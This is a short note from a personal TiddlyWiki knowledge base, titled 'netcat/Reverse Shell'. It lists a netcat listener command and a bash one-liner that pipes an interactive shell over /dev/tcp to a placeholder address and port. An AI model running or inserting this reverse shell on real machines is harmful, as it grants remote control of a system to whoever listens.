OcttKB/Wiki-OcttKB/tiddlers/Normal/netcat/_Reverse Shell.tid

17 lines
259 B
Plaintext

created: 20220926095309988
modified: 20230206111552227
modifier: Octt
tags: Snippets $:/i18n:en
title: netcat/Reverse Shell
0. Run on master (requires netcat):
```sh
nc -l -vv -p $PORT
```
1. Run on slave:
```sh
bash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1
```